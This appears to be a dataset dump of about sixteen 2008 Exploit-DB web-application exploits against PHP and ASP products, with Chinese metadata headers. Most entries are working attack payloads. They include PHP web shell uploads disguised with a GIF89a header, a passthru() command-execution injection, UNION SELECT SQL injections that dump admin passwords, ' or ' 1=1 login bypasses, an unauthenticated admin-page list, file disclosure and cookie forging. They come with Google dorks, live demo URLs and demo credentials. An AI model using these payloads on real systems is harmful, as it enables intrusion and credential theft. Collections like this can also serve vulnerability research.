QLWD/code_shield huggingface dataset:
标题: PHPStore Car Dealers - Arbitrary File Upload EDB-ID: 7082 CVE: 2008-6929 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: PHP Store Auto Classifieds Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and edit your profile

upload your_shell.php 

your_shell.php path:

localhost/script/cars_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

passwd: zorlu1

shell:

http://www.phpstore.info/demos/cars/cars_images/1226241384_logo_c.php


------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7082
标题: FREEsimplePHPGuestbook - 'Guestbook.php' Remote Code Execution EDB-ID: 7079 CVE: 2008-6934 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            
FREEsimplePHPguestbook (guestbook.php) Remote Code Execution Vulnerability 
Get Script : http://www.sanusart.com/php/FREEsimplePHPguestbook.zip
Live Deom : http://www.sanusart.com/php/test/guestbook/guestbook.php
Exploit :
         Go http://www.sanusart.com/php/test/guestbook/guestbook.php
In  ->> Name (required): Write ->> Mahmood
In  ->> Web site (without http://): Write ->> http://tryag.cc
In  ->> Message: Write ->> <? passthru($_GET[tryag]); ?>

After All This Go > http://www.sanusart.com/php/test/guestbook/guestbook.php?tryag=id

See Pictures : 1- http://up1.mlfnt.net/images/7kzeu9l8hdjynjud062.png
               2- http://up1.mlfnt.net/images/rhcuudvtuzv1i62ovp.png

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7079
标题: AJ Article 1.0 - Remote Authentication Bypass EDB-ID: 7081 CVE: 2008-7051 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 AJ Article Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ AJ Article ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.ajsquare.com/products/article/ ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 10.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===
 
 [Â»] http://localhost/[path]/admin/user.php
 [Â»] http://localhost/[path]/admin/articles.php
 [Â»] http://localhost/[path]/admin/articlesuspend.php
 [Â»] http://localhost/[path]/admin/site.php
 [Â»] http://localhost/[path]/admin/statistics.php
 [Â»] http://localhost/[path]/admin/mail.php
 [Â»] http://localhost/[path]/admin/category.php
 [Â»] http://localhost/[path]/admin/subcategory.php
 [Â»] http://localhost/[path]/admin/changepassword.php
 [Â»] http://localhost/[path]/admin/polling.php
 [Â»] http://localhost/[path]/admin/logo.php
 [Â»] ...
 


===[ LIVE ]===

 [Â»] http://www.ajsquare.com/products/demo/admin/


 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7081
标题: Joomla! Component com_books - 'book_id' SQL Injection EDB-ID: 7092 CVE: 2008-5643 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: #######################################################
Joomla com_books(book_id) SQL injection Vulnerability
#######################################################


###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_books
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_books"
##################################################

#[~] Example:  
http://localhost/Path/index.php?option=com_books&task=book_details&book_id=[exploit]


#[~]Exploit:  
-9999+UNION+SELECT+1,2,concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users--


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7092
标题: Joomla! Component JooBlog 0.1.1 - 'PostID' SQL Injection EDB-ID: 7078 CVE: 2008-5051 2008-2630 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: #######################################################
 Joomla Component com_jb2(PostID) SQL-injetion Vulnerability                     
#######################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_jb2
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"option=com_jb2 "PostID"
##################################################

--------------------------------------------------------------------------------------------------------------------------------------------------
#[~] Example:                  
http://localhost/Path/index.php?option=com_jb2&PostID=[exploit]
--------------------------------------------------------------------------------------------------------------------------------------------------
#[~] Exploit:            
-9999'/**/UNION/**/SELECT/**/1,unhex(hex(concat(username,0x3a,password))),3,4,5,6,7+from+jos_users/*
--------------------------------------------------------------------------------------------------------------------------------------------------

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7078
标题: AJ Auction - Authentication Bypass EDB-ID: 7087 CVE: 2008-6966 2008-6965 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 AJ Auction Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ AJ Auction ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.ajsquare.com/products/auction/ ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 10.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


 [-] AJ Auction OOPD
 [+] AJ Auction Pro Platinum Skin #1
 [+] AJ Auction Pro Platinum Skin #2
 [+] AJ Auction Web 2.0
 
===[ XPL ]===

 [!] When the page gets load, Press ESC btn To Bypass Redirection ;)
 
 [ Only AJ Auction Pro Platinum Skin #1 ]
 [Â»] http://localhost/[path]/admin/user.php
 
 [ all ]
 [Â»] http://localhost/[path]/admin/site.php
 [Â»] http://localhost/[path]/admin/auction.php
 [Â»] http://localhost/[path]/admin/mail.php
 [Â»] http://localhost/[path]/admin/fee_setting.php
 [Â»] http://localhost/[path]/admin/earnings.php
 [Â»] http://localhost/[path]/admin/insertion_fee_settings.php
 [Â»] http://localhost/[path]/admin/custom_category.php
 [Â»] http://localhost/[path]/admin/subcategory.php
 [Â»] http://localhost/[path]/admin/category.php
 [Â»] http://localhost/[path]/admin/report.php
 [Â»] http://localhost/[path]/amdin/store_manager.php
 [Â»] http://localhost/[path]/admin/choose_sell_format.php
 [Â»] ...
 


===[ LIVE ]===
 [!] Skin #1
 [Â»] http://www.ajauctionpro.com/ajauction_platinum/admin/index.php
 [Â»] http://www.tapinglobal.com/admin/

 [!] Web2.0
 [Â»] http://www.ajauctionpro.com/auction_web2.0/admin/index.php

 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7087
标题: PHPStore Complete Classifieds Script - Arbitrary File Upload EDB-ID: 7084 CVE: 2008-6928 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: PHPStore Complete Customizable Classifieds Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and Add Listing click open the new page upload logo (upload your_shell.php)

your_shell.php path:

localhost/script/yellow_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

passwd: zorlu1

shell: ( not permission for demo server )

http://www.phpstore.info/demos/classifieds1/yellow_images/1226242317_logo_c.php 


http://www.phpstore.info/demos/classifieds1/yellow_images/ ( you look here and see shell 1226242317_logo_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7084
标题: PHPStore PHP Job Search Script - Arbitrary File Upload EDB-ID: 7083 CVE: 2008-6931 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: PHPStore Job Search Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

you register site and this site questions your photo. you upload your_shell.php

you clikc to view resume and open new page ( direckt link: http://localhost/script/preview.php )

you must see your photo 

and right click to your photo select to properites 

after copy photo link and paste your explorer go your shell

your_shell.php

http://localhost/script/jobseekers/jobseeker_profile_images/[id]_offer_your_shel.php


---------------------------------------------

example for demo:

shell: ( not permission for demo server )

http://www.phpstore.info/demos/phpcareers/jobseekers/jobseeker_profile_images/1226242993_offer_c.php


http://www.phpstore.info/demos/phpcareers/jobseekers/jobseeker_profile_images/ ( you look here and see shell 1226242993_offer_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7083
标题: PHPStore Real Estate - Arbitrary File Upload EDB-ID: 7085 CVE: 2008-6930 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: PHP Store Real Estate Remote File Upload

Author: ZoRLu  msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and edit your profile

upload your_shell.php 

your_shell.php path:

localhost/script/re_images/[ID]_logo_your_shell.php

---------------------------------------------

user: zorlu

passwd: zorlu1

shell: ( not permission for demo server )

http://www.phpstore.info/demos/realty/re_images/1226243945_logo_c.php


http://www.phpstore.info/demos/realty/re_images/ ( you look here and see shell 1226243945_logo_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7085
标题: fresh email script 1.0 - Multiple Vulnerabilities EDB-ID: 7080 CVE: 2008-7043 2008-7042 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: 1.  +-----------------+-----------------+-----------------+
   2.  +-----------------+Fresh Email Script+----------------+
   3.  +-----------------versions: 1.0 to 1.11 - all
   4.  +-----------------exploits: file inclusion & cookie manipulation
   5.  +-----------------founder: Don
   6.  +-----------------date: November 10. 2008
   7.  +-----------------+-----------------+-----------------+
   8.  +homepage: http://www.freshscripts.net/index.php?do=catalog&c=featured_scripts_!&i=fresh_email_script
   9.  +vendor notified ? / no
  10.  +-----------------+-----------------+-----------------+
  11.  +[1]
  12.  +file inclusion+
  13.  +found in /url.php?tmp_sid=
  14.  +so like site[dot]com/url.php?tmp_sid=[]
  15.  +attack description:
  16.  +The GET variable tmp_sid has been set to http://site[dot]com/some_inexistent_file_with_long_name.
  17.  +It is possible for a remote attacker to include a file from local or remote resources and
  18.  +or execute arbitrary script code with the privileges of the web server.
  19.  +-----------------+-----------------+-----------------+
  20.  +[2]
  21.  +cookie manipulation+
  22.  +found in register.php
  23.  +By injecting a custom HTTP header or by injecting a META tag,
  24.  +it is possible to alter the cookies stored in the browser.
  25.  +Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.
  26.  +By exploiting this vulnerability, an attacker may conduct a session fixation attack.
  27.  +In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server,
  28.  +thereby eliminating the need to obtain the user's session ID afterwards.
  29.  +-----------------+-----------------+-----------------+
  30.  +vuln:
  31.  +Email=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&Password=1230321email@address.com&register=Register
  32.  +-----------------+-----------------+-----------------+
  33.  +How to fix this vulnerability+
  34.  +
  35.  +You need to filter the output in order to prevent the injection of custom HTTP headers or META tags.
  36.  +Additionally, with each login the application should provide a new session ID to the user.
  37.  +-----------------+-----------------+-----------------+
  38.  +greetz to all of my friends
  39.  +special greetz to milw0rm as well as str0ke!+
  40.  +
  41.  +
  42.  +~#Don 2008
  43.  +Serbian security analyzer
  44.  +-----------------+-----------------+-----------------+

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7080
标题: ZEEMATRI 3.0 - 'adid' SQL Injection EDB-ID: 7072 CVE: 2008-5782 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-09 漏洞利用脚本: |___________________________________________________|
|
| ZEEMATRI v3.0 (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : www.IQ-TY.com & www.TrYaG.cc
|
|    email: darkangeL_G85@Yahoo.COM
|
|
|___________________________________________________
|                                                   |
|
| script: http://zeeways.com/php-software/zeematri-v3.0.html
|
| Dork: "Powered by ZeeMatri"
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://zeematri.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--





___________________


Admin  LogiN :

www.[target].com/Script/admin/

# milw0rm.com [2008-11-09] URL: https://www.exploit-db.com/exploits/7072
标题: OTManager CMS 2.4 - 'Tipo' Remote File Inclusion EDB-ID: 7077 CVE: 2008-5063 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  OTManager 2.4 Remote File Inclusion (RFI) Vulnerability

  - Security flaw discovered by Colt7r
  - CONTACT: colt7r |@| bsdmail.org

  - Affected Software: OTManager 2.4
  - Risk: HIGH
  - Exploit: http://host/Admin/ADM_Pagina.php?Tipo=[EVIL CODE]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7077
标题: Zeeways PHOTOVIDEOTUBE 1.1 - Authentication Bypass EDB-ID: 7070 CVE: 2008-5042 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ==============================================================================
 Zeeways PHOTOVIDEOTUBE v1.1  Auth Bypass Vulnerability
==============================================================================
 [Â»] Script  :          [ Zeeways PHOTOVIDEOTUBE v1.1  ]
 [Â»] Language:          [ PHP ]
 [Â»] Website :          [ http://zeeways.com/php-software/photovideotube-v1.1.html ]
        [Â»] Discover:          [ Mountassif Moad  ]
===[ XPL ]===
 [Â»] http://localhost/[path]/admin/home.php

===[ LIVE ]===
 [Â»] http://www.photovideotube.com/admin//main.php

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7070
标题: DigiAffiliate 1.4 - Authentication Bypass EDB-ID: 7067 CVE: 2008-6487 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-08 漏洞利用脚本: ###############################################################################################
[-] DigiAffiliate <= V1.4 (Auth bypass) SQL Injection Vulnerability
[-] Discovered By : d3b4gd         
[-] Greetz : All my freind         
################################################################################################
Use these information to bypass adminlogin

admin :   ' or ' 1=1
password: ' or ' 1=1

Live demo :

http://www.digiappz.com/digiaffiliate2/login.asp
--------------------------------------------
--------------------------------------------

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7067
标题: Zeeways ZeeJobsite 2.0 - Arbitrary File Upload EDB-ID: 7062 CVE: 2008-6913 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ZEEJOBSITE v2.0 remote file Upload

author: ZoRLu msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

dork: "Copyright-2008@zeejobsite.com"

date: 08/11/2008 ( aha simdi gÃ¶nderiyorum saat 10:40 : ) )


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php


after jobseekers login to site ( direckt link: localhost/jobseekers/jobseekerloginpage.php )

and you edit your profile ( direckt link: http://localhost/jobseekers/editresume_next.php?rid=[id] )

add your photo ( you_shell.php upload ) after open new page you right clik your photo and select to properties 

copy photo link and paste your explorer go your shell

your_shell:

localhost/script_path/jobseekers/logos/[id].php


example for demo:

user: sabrina

passwd: testing:

login: http://zeejobsite.com/jobseekers/jobseekerloginpage.php

change profile direckt link: http://zeejobsite.com/jobseekers/editresume_next.php?rid=47

and your_shell link:

http://zeejobsite.com/jobseekers/logos/7271406.php


thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7062
标题: X10media Mp3 Search Engine 1.6 - Remote File Disclosure EDB-ID: 7074 CVE: 2008-6960 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-09 漏洞利用脚本: ################# ~THUNDER ################################################################


    ~X10media Mp3 Search Engine v1.5.5 - 1.6 Remote File Disclosure Vulnerability

    ~Founded by : THUNDER <t4h[at]hotmail.fr>
    ~Dork: "This search engine is in no way intended for illegal downloads. "
    ~File : Download.php

===========================================================================================

to read files you need to encode the url, so you can use this php code :
<?
//Encode URL ** THUNDER **
function enc($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
$thunder = $_GET[t];
echo enc($thunder);
?>

How to use : http://127.0.0.1/encode.php?t=[Url]
Ex : http://127.0.0.1/encode.php?t=includes/constants.php
 
##### ~Exploit ############################################################################


   http://www.target.com/[path]/download.php?url=[Encoded url]

Example :
let's download the constants.php file wich contains the database login and password .
the file will be downloaded as .mp3 exstension .

http://www.target.com/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870

Open the downloaded file with any text editor... ,and you got the database .           
          


###########################################################################################

# milw0rm.com [2008-11-09] URL: https://www.exploit-db.com/exploits/7074
标题: V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling EDB-ID: 7063 CVE: 2008-5784 2008-5783 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ###############################################################################################
[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
[+] Discovered By : Mountassif Moad         
[+] Greetz : All my freind         
################################################################################################
Exploit:
javascript:document.cookie = "admin=1; path=/";

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7063